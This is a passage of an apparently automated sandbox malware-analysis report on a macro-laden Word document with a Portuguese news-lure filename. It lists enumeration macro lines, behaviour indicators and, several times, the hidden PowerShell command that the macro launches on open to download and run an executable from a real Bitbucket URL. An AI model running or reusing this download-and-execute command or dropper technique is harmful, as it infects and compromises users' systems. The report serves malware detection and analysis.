Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: Medica negra morre covid-19 apos racismo.docm

Stream path 'VBA/ThisDocument' : found possibly 'ADODB.Stream' functions loadfromfile, open, read, readtext, savetofile, write, writetext

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: Medica negra morre covid-19 apos racismo.docm

Stream path 'VBA/ThisDocument' : found possibly 'WScript.Shell' functions environment, exec, expandenvironmentstrings, regread, run, environ

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: Medica negra morre covid-19 apos racismo.docm

OLE, VBA macro line: Private Sub Document_Open()

Document contains embedded VBA macros

Source: Medica negra morre covid-19 apos racismo.docm

OLE indicator, VBA macros: true

Document contains no OLE stream with summary information

Source: Medica negra morre covid-19 apos racismo.docm

OLE indicator has summary info: false

Document has an unknown application name

Source: Medica negra morre covid-19 apos racismo.docm

OLE indicator application name: unknown

Classification label

Source: classification engine

Classification label: mal96.expl.evad.winDOCM@3/9@1/1

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$dica negra morre covid-19 apos racismo.docm

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRBFE4.tmp

Jump to behavior

Document contains summary information with irregular field values

Source: Medica negra morre covid-19 apos racismo.docm

OLE document summary: title field not present or empty

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads the hosts file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Sample is known by Antivirus

Source: Medica negra morre covid-19 apos racismo.docm

ReversingLabs: Detection: 25%

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'			Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll

Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: :\Windows\mscorlib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: m.Management.Automation.pdbpdbion.pdbAlbu source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: :\Windows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: ws\dll\System.pdben source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdbmmon source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb Fil source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000002.00000002.2082678415.0000000001E60000.00000002.00000001.sdmp
Source:	Binary string: C:\Windows\System.pdb source: powershell.exe, 00000002.00000002.2083755404.0000000002B17000.00000004.00000040.sdmp

Data Obfuscation:

Document contains an embedded VBA with many string operations indicating source code obfuscation

Source: Medica negra morre covid-19 apos racismo.docm

Stream path 'VBA/ThisDocument' : High number of string operations

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'			Jump to behavior

Persistence and Installation Behavior:

Tries to download and execute files (via powershell)

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/defenderModule.exe',$TempDir+'defenderModule.exe');Start-Process 'defenderModule.exe'			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
